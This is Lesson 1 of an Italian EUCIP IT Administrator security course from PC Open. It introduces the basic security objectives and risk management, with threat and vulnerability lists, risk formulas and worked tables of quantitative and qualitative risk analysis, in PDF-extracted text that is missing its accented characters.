Corso IT Administrator

www.pcopen.
it 2
ITAdministrator - Sicurezza informatica
L
a sicurezza delle informazioni unesigenza che ha ac-
compagnato la storia delluomo fin dalle antiche civilt.
Oggi ci preoccupiamo di mantenere riservate le infor-
mazioni personali, militari e daffari. Nel V secolo a.C. gli
spartani inviavano gli ordini ai capi militari tramite mes-
saggi scritti su una striscia di cuoio che, avvolta su un ba-
stone (lo scitale) di un diametro ben preciso, permetteva di
leggere il testo in chiaro lungo il bastone. Giulio Cesare ci-
frava i messaggi sostituendo ogni lettera con quella che nel-
lalfabeto segue di qualche posizione. La crittografia, cio
la scienza della scrittura segreta, ha avuto una progressiva
evoluzione nel corso dei secoli, fino ai rapidi sviluppi teo-
rici e tecnologici impressi dalla seconda guerra mondiale,
che permisero la decifrazione dei codici giapponesi e te-
deschi da parte degli alleati.
Oggi buona parte del pianeta vive nella societ del-
linformazione, basata cio sulluso delle informazioni co-
me parte integrante delle attivit umane. Pertanto, la sicu-
rezza delle informazioni diventata una componente della
sicurezza dei beni in generale, o security, e non si limita al-
le tecniche per nascondere il contenuto dei messaggi. Qua-
lunque programma che si occupi di preservare la sicurez-
za delle informazioni, persegue, in qualche misura, tre
obiettivi fondamentali: la disponibilit, lintegrit e la ri-
servatezza delle informazioni.
La disponibilit il grado in cui le informazioni e le ri-
sorse informatiche sono accessibili agli utenti che ne han-
no diritto, nel momento in cui servono. Questo significa
che sistemi, reti e applicazioni hanno le capacit necessa-
rie a fornire il livello di servizio e le prestazioni richieste e
che, in caso di guasto o di eventi distruttivi, sono pronti gli
strumenti e le procedure per ripristinare lattivit in tempi
accettabili. Per impedire linaccessibilit delle informazio-
ni, si deve preservare la disponibilit delle condizioni am-
bientali (energia, temperatura, umidit, atmosfera, ecc.) e
delle risorse hardware e software a fronte sia di problemi
interni (guasti, errori, blackout, disastri e altro), sia di at-
tacchi esterni, per esempio provenienti da Internet, volti a
impedire o a ridurre laccessibilit ai sistemi e alle infor-
mazioni. Sistemi di backup locale e remoto, ridondanza del-
lhardware e degli archivi, firewall e router configurati per
neutralizzare attacchi DoS (denial of Service), sistemi di cli-
matizzazione, gruppi di continuit, controllo dellaccesso fi-
sico, monitoraggio delle prestazioni sono alcuni degli
strumenti che servono per mantenere la disponibilit.
Lintegrit il grado di correttezza, coerenza e affidabi-
lit delle informazioni e anche il grado di completezza, coe-
renza e condizioni di funzionamento delle risorse informa-
tiche. Per lhardware e i sistemi di comunicazione, linte-
grit consiste di fattori come elaborazione corretta dei da-
ti, livello adeguato di prestazioni e corretto instradamento
dei dati. Lintegrit del software riguarda fattori come la
completezza e coerenza dei moduli del sistema operativo
e delle applicazioni e la correttezza dei file critici di sistema
e di configurazione.
Per le informazioni, lintegrit viene meno quando i da-
ti sono alterati, cancellati o anche inventati, per errore o
per dolo, e quando si perde, per esempio in un database, la
Inizia il primo corso di taglio professionale destinato al
conseguimento di una certificazione ufficiale, riconosciuta
in tutta Europa. La certificazione fa parte di un nuovo filone
denominato EUCIP (European Certification of Informatics
Professionals) e si chiama IT Administrator Sicurezza
Informatica. Il corso si articola
in tre elementi: un articolo sulla
rivista, un articolo, molto pi
esteso in formato PDF e un corso
multimediale completo
su CD e DVD di Giorgio Gobbi
Introduzione alla sicurezza delle informazioni
Diventate esperti di
sicurezza con PC Open
Materiale didattico
validato da AICA
Certificazione EUCIP
IT Administrator
Modulo 5 -
IT Security
Sicurezza informatica
"AICA Licenziataria
esclusiva in Italia del
programma EUCIP
(European Certification
of Informatic
Professionals), attesta
che il materiale didattico
validato copre
puntualmente e
integralmente gli
argomenti previsti nel
Syllabus IT Administrator
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
autorizza sul presente
materiale didattico l'uso
del marchio EUCIP,
registrato da EUCIP Ltd
e protetto dalle leggi
vigenti"
Obiettivo del corso IT Administrator
Sicurezza Informatica
Fornire al lettore familiarit con i vari modi di
proteggere i dati sia su un singolo PC sia in una LAN
connessa a Internet. In particolare, metterlo nelle
condizioni di proteggere i dati aziendali contro
perdite, attacchi virali e intrusioni. Inoltre, metterlo
nelle condizioni di conoscere e utilizzare i programmi
e le utility pi comuni destinati a tali scopi.
I contenuti delle 8 lezioni
Lezione 1: Informazioni generali
Lezione 2: Crittografia
Lezione 3: Autenticazione e controllo
degli accessi
Lezione 4: Disponibilit
Lezione 5: Codice maligno
Lezione 6: Infrastruttura a chiave pubblica
Lezione 7: Sicurezza della rete
Lezione 8: Aspetti sociali, etici e legali della
sicurezza informatica
Riferimento Syllabus
2.0 (curriculum
ufficiale AICA)
5.1.1 Concetti di
base
5.1.1.1 sapere quali
sono i principali
aspetti della
sicurezza delle
informazioni:
riservatezza e
integrit
(la numerazione dei
punti di riferimento al
Syllabus comincia
con 5 perch si
riferisce al quinto
modulo della
certificazione IT
Administrator
complessiva. Il quinto
modulo riguarda la
sicurezza informatica)
In collaborazione
con:
www.pcopen.it 3
Lezione 1 IT Administrator - Sicurezza informatica
coerenza tra dati in relazione tra loro (per esempio i record
coinvolti in una transazione).
Procedure di manutenzione e diagnosi preventiva,
hardware e software per la rilevazione e prevenzione di ac-
cessi illeciti, attacchi virali e intrusioni, applicazioni che mi-
nimizzano errori logici e formali di data entry, accesso ri-
stretto alle risorse critiche e controllo degli accessi sono al-
cuni degli strumenti utili a preservare lintegrit delle
informazioni e delle risorse.
Anche le tecniche di hashing (calcolo di un numero di
lunghezza fissa a partire da un qualsiasi messaggio o do-
cumento) sono usate per verificare che le informazioni non
vengano alterate per dolo o per errore (anche di trasmis-
sione).
La riservatezza consiste nel limitare laccesso alle infor-
mazioni e alle risorse informatiche alle sole persone auto-
rizzate e si applica sia allarchiviazione sia alla comunica-
zione delle informazioni. Uninformazione composta ge-
neralmente di pi dati in relazione tra di loro, ciascuno dei
quali non necessariamente costituisce uninformazione. Il
nome e il numero di conto corrente di una persona, sepa-
rati, non sono informazioni; la combinazione dei due da-
ti che costituisce linformazione.
La riservatezza dellinformazione pu essere quindi ga-
rantita sia nascondendo lintera informazione (per esempio
con tecniche di crittografia) sia nascondendo la relazione
tra i dati che la compongono. La riservatezza non dipende
solo da strumenti hardware e software; il fattore umano gio-
ca un ruolo chiave quando vengono ignorate le elementari
regole di comportamento: tenere le password segrete, con-
trollare gli accessi a reti e sistemi, rifiutare informazioni a
sconosciuti (anche quando affermano di essere tecnici del-
la manutenzione), cifrare i documenti e i messaggi riserva-
ti e cos via.
Possiamo aggiungere altri due obiettivi di sicurezza che
possono essere considerati unestensione dellintegrit
delle informazioni, applicata a eventi pi complessi come
linvio di un messaggio o una transazione. Lautenticit ga-
rantisce che eventi, documenti e messaggi vengano attri-
buiti con certezza al legittimo autore e a nessun altro. Il non
ripudio impedisce che un evento o documento possa es-
sere disconosciuto dal suo autore. Queste due caratteri-
stiche trovano applicazione nella firma digitale, che utiliz-
za tecniche di hashing e crittografia per garantire che un
documento resti integro e provenga da un autore univoca-
mente identificato.
Gestione del rischio
Per esaminare i rischi connessi ai vari aspetti di sicu-
rezza delle informazioni, iniziamo introducendo i termini
del discorso: beni da difendere, obiettivi di sicurezza, mi-
nacce alla sicurezza, vulnerabilit dei sistemi informatici e
impatto causato dallattuazione delle minacce.
Beni
Un bene qualsiasi cosa, materiale o immateriale, che
abbia un valore e debba quindi essere protetta. Nel campo
della sicurezza delle informazioni, tra i beni di unazienda
ci sono le risorse informatiche, il personale (utenti, ammi-
nistratori, addetti alla manutenzione), le informazioni, la
documentazione e limmagine aziendale. Per un individuo,
i beni comprendono non solo risorse informatiche, infor-
mazioni e mezzi di comunicazione, ma anche le informa-
zioni personali e la privacy.
Per esempio, se un attacco via Internet causa a una-
zienda il furto di informazioni riservate, magari relative al-
le carte di credito dei clienti, i beni colpiti sono molteplici:
le informazioni, limmagine, la reputazione, la stessa conti-
nuit operativa. Un altro esempio il defacing, ovvero lal-
terazione di un sito web per rovinare limmagine del pro-
prietario; una forma di vandalismo che colpisce sia le
informazioni sia limmagine dellazienda o persona titolare.
A livello personale, la privacy degli individui minac-
ciata da pi parti: aziende che non proteggono adeguata-
mente le informazioni in loro possesso, applicazioni che
trasmettono via Internet dati personali, software maligno
che spia le abitudini degli utenti (acquisti, navigazione In-
ternet ecc.) o che altera la navigazione Internet a scopo di
truffa o furto di informazioni.
I beni possono essere distinti in beni primari, quelli che
hanno valore effettivo, e beni secondari, che servono per
proteggere i beni primari. Un esempio di bene secondario
la password che permette di accedere a un computer, a
una rete, ai dati archiviati e a Internet. La password in s
non ha alcun valore, ma uninformazione che permette a
un altro utente o a un estraneo di accedere ai beni primari
(sistemi, periferiche, reti, archivi) e di eseguire operazioni
a nome dellutente titolare della password, che ne sar ri-
tenuto responsabile. La password, bene secondario, assu-
me unimportanza paragonabile a quella degli archivi e del-
le attrezzature hardware/software, bene primario a cui la
password d accesso. Lo stesso vale per i dispositivi di
identificazione e autenticazione, come le Smart Card. Se la
scheda viene utilizzata da qualcuno che si procurato il
corrispondente PIN (Personal Identification Number), il ti-
tolare della scheda sar ritenuto responsabile dellutilizzo
fino alla denuncia di furto o smarrimento.
Altri esempi di beni secondari sono le attrezzature che
permettono allhardware di funzionare con continuit e si-
curezza: gruppi di continuit, condizionatori, alimentatori
e altri componenti ridondanti e cos via. I beni secondari, in
quanto investimento preventivo per mantenere alta la di-
sponibilit dei servizi informatici, rappresentano un costo
ampiamente inferiore rispetto al rimedio a situazioni non
previste.
Obiettivi
Gli obiettivi di sicurezza sono il grado di protezione che
si intende predisporre per i beni, in termini di disponibilit,
integrit e riservatezza. Per definire gli obiettivi, si classifi-
cano i beni in categorie e si assegnano i criteri di sicurezza
da applicare. Ci sono beni, come le password e i numeri di
identificazione, che hanno pi requisiti di riservatezza che
IT Administrator comprende sei moduli:
1 Hardware del PC (PC Hardware)
2 Sistemi operativi (Operating Systems)
3 Reti locali e servizi di rete (LAN and Network
Services)
4 Uso esperto delle reti (Network Expert Use)
5 Sicurezza informatica (IT Security)
6 Progettazione reti (Network Design)
Largomento di questo corso il modulo 5 della
certificazione EUCIP IT Administrator, dedicato
espressamente alla sicurezza informatica. Il modulo
5 garantisce comunque il diritto a una certificazione
a s stante.
Alcuni beni da proteggere
- Hardware (sistemi e reti)
- Software
- Firmware
- Dati e informazioni
- Personale
- Documentazione
- Fondi
- Apparecchiature di controllo ambientale
- Immagine e reputazione aziendale
- Capacit operativa
5.1.2 Gestione del
rischio
5.1.2.1 conoscere i
principali elementi
coinvolti nella
valutazione del
rischio (valore
dellinformazione,
vulnerabilit,
minaccia, rischio,
impatto, violazione,
livello di rischio).
www.pcopen.it 4
ITAdministrator - Sicurezza informatica Lezione 1
non problemi di integrit e disponibilit. Al contrario, le
informazioni contabili di una banca che esegue transazio-
ni on line hanno requisiti di disponibilit, integrit e riser-
vatezza. Le informazioni pubblicate sul sito web di una-
zienda richiedono disponibilit e integrit (per esempio
per impedire il defacing), ma non certo riservatezza.
La selezione degli obiettivi in base al tipo di protezione
richiesto dai beni, permette un approccio concreto e sca-
labile in base alle priorit e alle risorse disponibili. In as-
senza di una mappa di ci che urgente e importante da
proteggere, si tende a improvvisare o a voler proteggere
tutto, salvo poi mancare anche gli obiettivi minimi quando
il costo preventivato supera di gran lunga le disponibilit.
Minacce
Una minaccia unazione potenziale, accidentale o deli-
berata, che pu portare alla violazione di uno o pi obiet-
tivi di sicurezza. Le minacce possono essere classificate se-
condo la loro origine: naturale, ambientale o umana. Per
esempio, un allagamento dovuto a forti piogge una mi-
naccia accidentale di origine naturale che ha un impatto
sulla sicurezza, visto che pu interrompere la disponibilit
dei servizi informatici. Un cavallo di Troia installato alla-
pertura di un allegato di posta elettronica infetto, una mi-
naccia deliberata di origine umana e coinvolge tutti gli
obiettivi di sicurezza: il computer pu cadere sotto il con-
trollo esterno e non essere pi completamente disponibile
per il suo proprietario (disponibilit), le sue informazioni
possono essere alterate e cancellate (integrit) e dati da
non divulgare (password, informazioni personali, informa-
zioni sensibili aziendali) possono essere letti da estranei
(riservatezza). Una rete wireless che opera senza prote-
zione (a partire dalla cifratura delle comunicazioni) pu es-
sere intercettata o, perlomeno, usata per laccesso a Inter-
net, magari per operazioni illegali riconducibili allindirizzo
IP (e quindi alla responsabilit) del titolare della rete. In
questo caso gli obiettivi violati coinvolgono la riservatezza,
la disponibilit e potenzialmente anche lintegrit.
Lentit che mette in atto la minaccia viene chiamata
agente. Esempi di agenti di minaccia sono un intruso che
entra in rete attraverso una porta del firewall, un processo
che accede ai dati violando le regole di sicurezza, un tor-
nado che spazza via il centro di calcolo o un utente che
inavvertitamente permette ad altri di vedere le password.
Vulnerabilit
Mentre una minaccia sempre portata da un agente
esterno (fenomeno naturale o intervento umano), una vul-
Esempi di minacce
( D = deliberata, A = accidentale, E = ambientale)
Minaccia D A E
----------------------------------------------------------------------------------------------------------------------
Terremoto x
Inondazione x x
Uragano x
Fulmine x
Bombardamento x x
Incendio x x
Uso di armi x x
Vandalismo x
Furto x
Blackout x
Linea elettrica instabile x x
Guasto climatizzatore x
Temperatura alta o bassa x x x
Umidit eccessiva x x x
Polvere x
Radiazioni elettromagnetiche x
Guasto hardware x
Uso improprio delle risorse x x
Errori software x x
Uso non autorizzato supporti
di memoria x
Deterioramento supporti di memoria x
Errori degli utenti x x
Errori del personale operativo x x
Errori di manutenzione x x
Accesso illegale alla rete x
Uso illegale di password x
Uso illegale del software x
Indirizzamento illecito messaggi x
Software dannoso x x
Installazione/copia illegale
di software x
Interruzione servizio
provider Internet x
Interruzione servizio hosting web x
Errori di trasmissione x
Traffico eccessivo x x
Intercettazione in rete x
Infiltrazione in rete x
Analisi illecita del traffico x
Carenze di personale x
Esempi di vulnerabilit
Infrastruttura
Mancanza di protezione fisica
Mancanza di controllo degli accessi
Linea elettrica instabile
Locali soggetti ad allagamento
Hardware e impianti
Mancanza di sistemi di backup
Suscettibilit a variazioni di tensione
Suscettibilit a variazioni di temperatura
Suscettibilit a radiazioni elettromagnetiche
Programma di manutenzione insufficiente
Comunicazioni
Linee di comunicazione non protette
Uso di password in chiaro
Traffico wireless non cifrato
Presenza di linee dial-up
Libero accesso ai dispositivi di rete
Documentazione
Locali non protetti
Carenza di precauzioni nelleliminazione
Assenza di controllo nella duplicazione
Software
Complessit interfaccia applicazioni
Mancanza autenticazione utente
Mancanza logging accessi
Errori software noti
Password non protette
Cattiva gestione password
Diritti di accesso scorretti
Uso del software incontrollato
Sessioni aperte senza presenza utente
Assenza di backup
Carenza nella dismissione dei supporti
Personale
Personale insufficiente
Procedure reclutamento inadeguate
Personale esterno incontrollato
Addestramento di sicurezza inadeguato
Uso improprio o scorretto hardware/software
Carenza di monitoraggio
www.pcopen.it 5
nerabilit un punto debole del sistema informatico
(hardware, software e procedure) che, se colpito o sfrutta-
to da una minaccia, porta alla violazione di qualche obiet-
tivo di sicurezza. Una vulnerabilit presenta due caratteri-
stiche: un aspetto intrinseco del sistema informatico ed
esiste indipendentemente da fattori esterni. Una vulnera-
bilit, di per s, non causa automaticamente una perdita di
sicurezza; la combinazione tra vulnerabilit e minaccia
che determina la probabilit che vengano violati gli obiet-
tivi di sicurezza. Un centro di calcolo situato nel seminter-
rato di un centro urbano ha le stesse vulnerabilit in una
zona poco soggetta a terremoti come in una zona sismica.
Quello che cambia la probabilit che si attui la minaccia
terremoto, a scapito della disponibilit dellimpianto.
Un computer dedicato alla contabilit di un negozio, non
protetto da firewall e antivirus e privo delle patch di sicu-
rezza del sistema operativo, assai vulnerabile, ma se te-
nuto al sicuro, viene usato solo dal titolare e non colle-
gato a Internet, pu funzionare a lungo senza essere colpi-
to dalle minacce pi comuni.
Impatto
Limpatto la conseguenza dellattuazione di una mi-
naccia. Esso dipende dal valore del bene colpito e dagli
obiettivi di sicurezza violati. Per una piccola azienda, se la
minaccia guasto dellhard disk colpisce la vulnerabilit
backup poco frequenti, limpatto serio, perch pu in-
cludere il blocco temporaneo dellattivit e inconvenienti
nei rapporti con i clienti. Gli obiettivi di sicurezza violati so-
no la disponibilit ed eventualmente lintegrit delle infor-
mazioni. Se un dirigente in viaggio connette il portatile a In-
ternet senza protezione (programmi firewall e antivirus),
apre une-mail infetta e di ritorno propaga linfezione alla re-
te aziendale, limpatto pu essere grave e coinvolgere tut-
ti gli obiettivi di sicurezza (disponibilit, integrit e riser-
vatezza). In questo esempio lagente della minaccia lu-
tente, le vulnerabilit sono la cattiva configurazione del
portatile e le falle di sicurezza di Windows e la minaccia sta
nelle cattive abitudini e incompetenza dellutente. Lim-
patto pu includere il blocco temporaneo della rete e dei
computer e unattivit generalizzata di disinfestazione con
possibile perdita di dati e reinstallazione di software; anche
parte dei backup potrebbe essere compromessa.
Rischio
Concettualmente, il rischio la possibilit che si verifi-
chi un evento dannoso ed tanto maggiore quanto forte
limpatto causato dallevento e quanto alta la probabilit
che esso si verifichi. In una zona statisticamente non sog-
getta ad alluvioni, il rischio informatico connesso a questo
tipo di eventi trascurabile, anche se limpatto potenziale
ingente. In una rete aziendale soggetta a tentativi di in-
trusione, a parit di protezione, la sottorete delle finanze
corre un rischio maggiore rispetto alla sottorete ammin-
strativa, perch a parit di probabilit di attacco, limpatto
dellattacco pi grave.
In termini numerici, il rischio R pu essere definito come
il prodotto scalare tra la gravit G dellimpatto (conse-
guenze di un evento dannoso) e la probabilit P che si ve-
rifichi levento dannoso (la minaccia).
Le fasi della gestione del rischio
Nella gestione del rischio si possono individuare due fa-
si distinte.
1) Analisi del rischio. In questa fase si classificano le infor-
mazioni e le risorse soggette a minacce e vulnerabilit e
si identifica il livello di rischio associato a ogni minaccia.
Ci sono vari metodi per quantificare il rischio, basati su
un approccio quantitativo, qualitativo o combinazione
dei due. Lapproccio quantitativo basato su dati empi-
rici e statistiche, mentre quello qualitativo si affida a va-
lutazioni intuitive. Entrambi hanno vantaggi e svantaggi.
Il primo richiede calcoli pi complessi ma pu basarsi su
sistemi di misura indipendenti e oggettivi, fornisce ri-
sultati numerici (il valore delle perdite potenziali) e una-
nalisi dei costi e benefici. Il secondo utilizza lopinione
del personale che ha esperienza diretta in ciascuna del-
le aree interessate.
2) Controllo del rischio. In questa fase vengono indivi-
duate le modalit che lazienda intende adottare per ri-
durre i rischi associati alla perdita della disponibilit di
informazioni e risorse informatiche e della integrit e ri-
servatezza di dati e informazioni. Ogni tipo di minaccia
deve essere trattata separatamente e la pianificazione
delle contromisure richiede unanalisi di costi e benefi-
ci che ottimizzi il valore della protezione. Se, per esem-
pio, il rischio per lintrusione in un server web stima-
to di 12.000 euro in un anno e con una spesa annua di
1.000 euro esso scende a 3.000 euro, possiamo calcolare
il valore della protezione in 12.000 (rischio iniziale)
3.000 (rischio dopo lallestimento delle contromisure)
1.000 (costo annuale delle contromisure) = 8.000 euro.
Analisi del rischio
Lanalisi del rischio un processo composto di una se-
quenza di fasi, che inizia con la classificazione dei beni
(informazioni e risorse informatiche), prosegue con liden-
tificazione delle minacce e delle vulnerabilit e si conclude
con lidentificazione del livello di rischio.
1) Classificazione delle informazioni e delle risorse infor-
matiche. Questa fase ha lo scopo di censire e classifica-
re le informazioni gestite dal sistema informativo azien-
dale (attraverso sistemi informatici e altri mezzi) e le ri-
sorse informatiche utilizzate. Il risultato la documenta-
zione delle informazioni che hanno valore per lazienda,
in modo che nelle fasi successive si possa valutare il ri-
schio a fronte della perdita di disponibilit, integrit e ri-
servatezza di ogni categoria di informazioni. Visto che le
informazioni sono aggregazioni di dati che, singolarmen-
te, potrebbero essere (o apparire) privi di valore, si dovr
tenere conto delle relazioni tra dati e informazioni.
La sicurezza delle informazioni strettamente legata al-
la disponibilit delle risorse informatiche, quindi, in questa
fase, vengono documentati anche i sistemi, le attrezzature
di rete, la capacit di elaborazione, la capacit dei canali di
comunicazione, i processi vitali e altre risorse necessarie
per gli obiettivi di sicurezza delle informazioni.
2) Identificazione delle minacce. Una minaccia unazio-
ne potenziale, accidentale o deliberata, che pu portare
alla violazione di uno o pi obiettivi di sicurezza e quin-
di causare un danno allazienda. In questa fase si compila
lelenco delle minacce, avendo cura di includere gli even-
ti di origine naturale, gli eventi accidentali (guasti
hardware, errori software, errori umani ecc.) e le azioni
umane deliberate (sia interne, sia esterne). Le minacce
a cui soggetta unorganizzazione hanno aspetti generali
e aspetti specifici riguardanti il campo di attivit, il mo-
dello di business, le caratteristiche del sistema informa-
tivo e del sistema informatico, la dislocazione e le co-
municazioni dellorganizzazione. Esempi di minacce ge-
nerali sono quelle ambientali che possono impedire il
funzionamento delle attrezzature informatiche (alimen-
tazione elettrica, temperatura ecc.), i guasti hardware
(hard disk, supporti di backup, alimentatori, ventole
ecc.), gli errori software, la cancellazione accidentale di
dati, gli errori degli utenti, i virus e altro malware (worm,
trojan, spyware, ecc.), i tentativi di intrusione da Inter-
net, lesecuzione di software insicuro, la sottrazione e/o
la divulgazione di informazioni e software e via dicendo.
Minacce pi specifiche sopratutto per le aziende che
eseguono transazioni economiche on line (banche, siti di e-
commerce, broker ecc.) sono ad esempio le azioni di social
engineering (fingersi altre persone, come pubblici ufficiali
o addetti allassistenza) per procurarsi password e altre
informazioni utili per avere accesso alle informazioni.
Lanalisi del
rischio
in tre formule
R = G x P
Il rischio R pu essere
definito come il prodotto
scalare fra la gravit G
dellimpatto
(conseguenze di un
evento dannoso) e la
probabilit P che si
verifiche levento
dannoso.
P = f(V, M)
per minacce di tipo
deliberato
Per una minaccia di tipo
deliberato, la probabilit
P che la minaccia si
verifichi una funzione
delle vulnerabilit V
presenti nel sistema
(hardware, software e
procedure) e delle
motivazioni M
dellagente attaccante.
P = f(V, p)
per minacce di tipo
accidentale e ambientale
Per una minaccia di tipo
accidentale e
ambientale, la
probabilit P che essa si
verifichi una funzione
delle vulnerabilit V del
sistema e della
probabilit p che i
rilevamenti statistici
permettono di associare
allevento in questione
(per esempio la
probabilit di cancellare
per errore un file
importante o la
probabilit che un
blackout prolungato
causi uninterruzione del
servizio).
www.pcopen.it 6
Identificazione delle vulnerabilit. Le vulnerabilit so-
no tutti quei punti deboli del sistema informativo tali che, se
sfruttate dallattuarsi di una minaccia, permettono la viola-
zione degli obiettivi di disponibilit, integrit e riservatezza
delle informazioni. In precedenza abbiamo mostrato esem-
pi di vulnerabilit in diverse categorie. Per esempio, las-
senza di un gruppo di continuit e lintolleranza di alte tem-
perature ambiente rientrano nella categoria impianti. La ca-
tegoria software include le falle di sicurezza e gli errori dei
sistemi operativi e delle applicazioni. La categoria hardwa-
re comprende computer, periferiche, accessori e dispositi-
vi di rete, tutti soggetti a guasti e malfunzionamenti. Las-
senza di regole e di strumenti adeguati per il backup degli
archivi fa parte delle vulnerabilit procedurali. Alla catego-
ria del personale competono carenze come linadeguata
preparazione e istruzione degli utenti, lutilizzo improprio di
Internet e delle risorse informatiche e la scarsa diligenza nel
custodire le password e altre informazioni riservate.
Come per le minacce, anche le vulnerabilit sono speci-
fiche per il tipo di azienda, il campo di attivit e lorganiz-
zazione interna. Inoltre, la stessa vulnerabilit pu avere di-
versi livelli di importanza secondo le caratteristiche del-
lazienda. La vulnerabilit di un particolare servizio di co-
municazione del sistema operativo pu essere considera-
ta irrilevante per unazienda manifatturiera tradizionale ma
allo stesso tempo grave per unazienda che progetta stru-
menti ad alta tecnologia per un mercato competitivo.
Identificazione del livello di rischio. Dopo aver censi-
to i beni da proteggere e quantificato il loro valore, e dopo
aver calcolato la probabilit di attuazione delle minacce (in
base alle vulnerabilit e agli agenti di attacco individuati),
possibile calcolare il rischio seguendo lapproccio quan-
titativo. A tale scopo si possono utilizzare fogli elettronici
o apposite applicazioni per automatizzare il calcolo del ri-
schio secondo i settori di attivit.
In alternativa, lapproccio qualitativo non quantifica i
danni e le probabilit, ma esamina le aree di rischio asse-
gnando, in base a intuizione, esperienza e giudizio, valori
relativi (per esempio da 1 a 5) alla gravit della minaccia, al-
la sua probabilit di attuazione e alla perdita potenziale per
lazienda. Anche le contromisure sono valutate con lo stes-
so criterio, in modo da selezionare quella che il personale
interessato ritiene pi adatta per fronteggiare la minaccia.
In tabella 1 consideriamo un piccolo esempio di analisi
quantitativa, ridotto a poche righe a scopo illustrativo.
In questo esempio sono indicate le previsioni di danno
(perdita economica) per un singolo evento (attuazione del-
la minaccia) e la probabilit stimata in base a statistiche di
frequenza o dati empirici. Nella realt, lattacco a un bene
materiale di valore limitato, come un server di rete, pu
causare un danno superiore per ordini di grandezza a beni
immateriali come limmagine, la reputazione e il credito
dellazienda. Inoltre, certi tipi di minacce, in assenza di ap-
propriate difese, possono attuarsi ripetutamente in un an-
no, come le perdite e alterazioni di dati per errori degli
utenti e/o del software applicativo. Va detto che unanalisi
del rischio puramente quantitativa pressoch impossibi-
le, vista la difficolt di assegnare valori precisi ai danni su-
biti dai beni e alle probabilit di attuazione delle minacce.
In ogni caso, lanalisi permette di identificare i beni da pro-
teggere, le fonti di danno e lentit del rischio; in base a que-
ste informazioni si potr definire una strategia per proteg-
gere i beni nel modo pi efficiente.
Vediamo ora un esempio di analisi qualitativa, basata sul
giudizio, lesperienza e lintuito delle persone che operano
nelle aree soggette a minacce. Ci sono diversi metodi per
raccogliere le informazioni per unanalisi qualitativa del ri-
schio. Il metodo Delphi, per esempio, si basa su decisioni
di gruppo per assicurare che ogni membro del gruppo di
valutazione possa esprimere onestamente il proprio pare-
re sulle minacce e sui rimedi pi efficaci. Ogni membro del
gruppo scrive le proprie valutazioni in modo anonimo, sen-
za pressioni o influenze da parte degli altri. I risultati ven-
gono compilati e distribuiti ai membri del gruppo, che scri-
vono i loro commenti, ancora anonimi. Il processo si ripe-
te finch non si forma un consenso su costi, perdite po-
tenziali, e probabilit di attuazione delle minacce, senza di-
scussioni verbali.
Altri metodi qualitativi fanno uso di brainstorming, fo-
cus group, sondaggi, questionari, liste di verifica, intervi-
ste, incontri individuali e altro ancora.
Nella tabella 2 vediamo un piccolo esempio semplifica-
to di analisi qualitativa applicata alla minaccia di intrusio-
ne da Internet.
In questo esempio gli addetti allanalisi del rischio han-
no distribuito una descrizione della minaccia (intrusione
da Internet) a cinque persone con diverse mansioni nella-
rea IT, con la richiesta di valutare, da 1 a 5, la gravit della
minaccia, la probabilit che accada, la perdita conseguen-
te e lefficacia di alcune possibili misure di protezione. La
valutazione quindi sottoposta al management, che vedr
qual il punto di vista del personale interessato sulla gra-
vit delle minacce e sui modi di proteggersi.
Il controllo del rischio e le contromisure
Consideriamo lanalisi del rischio secondo lapproccio
quantitativo; il documento finale elenca in modo dettaglia-
to i beni con i relativi valori monetari, le vulnerabilit, le mi-
nacce con relativa probabilit di attuazione e le perdite po-
tenziali (per esempio su base annua). La fase successiva,
Tabella 2 - Analisi del rischio qualitativa
Minaccia intrusione Gravit della Probabilit Perdita Efficacia Efficacia Efficacia firewall
da Internet minaccia di attuazione potenziale firewall firewall con IPS pi IDS
IT manager 4 2 4 3 5 4
Amministratore database 5 4 5 3 4 3
Programmatore 3 3 3 4 4 4
Operatore 2 4 3 3 4 3
Manager 5 4 4 4 5 5
Media 3,8 3,4 3,8 3,4 4,4 3.8
Tabella 1 - Analisi del rischio quantitativa
Bene Minaccia Valore del bene Aspettativa di Probabilit Aspettativa di
perdita singola annua perdita annua
Locali Incendio 300.000 200.000 0,1 20.000
Progetti Furto 100.000 80.000 0,5 40.000
Server Guasto 8.000 6.000 0,3 1.800
Dati Virus e simili 40.000 30.000 0,5 7.500
Dati Errori utente 40.000 20.000 0,5 10.000
Rete Guasto 6.000 2.000 0,75 1.500
5.1.2 Gestione del
rischio
5.1.2.2 conoscere la
classificazione pi
comune dei mezzi
tecnici per controllare
il rischio
(identificazione e
autenticazione),
controllo degli
accessi,
rendicontabilit
(accountability),
verifica (audit),
riutilizzo degli oggetti,
accuratezza,
affidabilit del
servizio, scambio dati
sicuro).
www.pcopen.it 7
controllo del rischio, ha lo scopo di eliminare i rischi, o per-
lomeno di ridurli entro limiti accettabili. Parte dei rischi
pu essere ceduta a terzi, per esempio attraverso polizze di
assicurazione (per cautelarsi da eventi come furto, incen-
dio e disastri naturali). Anche loutsourcing, cio la delega
a terzi di servizi che potrebbero essere svolti da persona-
le interno, pu essere utile a ridurre vari tipi di rischio, tra
cui il mancato ritorno dagli investimenti in addestramento
specialistico del personale. Anche la gestione dello stora-
ge, ovvero gli archivi e i backup, pu essere affidata a terzi
appositamente strutturati per garantire alti livelli di sicu-
rezza (disponibilit, integrit e riservatezza delle informa-
zioni). Lhosting dei siti web un esempio di outsourcing
conveniente alle piccole aziende, solitamente prive di im-
pianti e personale per amministrare hardware, software e
sicurezza dei siti.
Tolta la cessione a terzi di parte dei rischi, consideriamo
la parte di gestione del rischio che avviene allinterno del-
lazienda. Il controllo del rischio viene esercitato attraver-
so opportune contromisure che agiscano sulle due com-
ponenti del rischio: la gravit dellimpatto e la probabilit
di attuazione della minaccia. Abbiamo visto che le minac-
ce coprono un ampio spettro di fenomeni e attivit; ognu-
na dovr essere quindi trattata separatamente sia nel va-
lutare limpatto e la probabilit, sia nel selezionare le con-
tromisure che risultano pi efficaci nellanalisi di costo e
benefici.
Contromisure
Le contromisure di sicurezza sono le realizzazioni e le
azioni volte ad annullare o limitare le vulnerabilit e a con-
trastare le minacce. Una parte delle contromisure viene so-
litamente realizzata nel corso della progettazione di un si-
stema o di un prodotto. Le altre contromisure vengono
adottate in fase di utilizzo del sistema o prodotto.
La scelta delle contromisure da mettere in campo det-
tata dallanalisi del rischio e dallanalisi costo/benefici del-
le contromisure. Considerato un bene, il suo valore e il dan-
no potenziale in base alle vulnerabilit e alle probabilit di
attuazione di una minaccia, leffetto di una contromisura si
misura con la riduzione del rischio. Se la riduzione del ri-
schio ampiamente superiore al costo della contromisura,
questa efficace. Se un certo rischio di scarsa entit e la
contromisura risulterebbe pi costosa rispetto ai benefici,
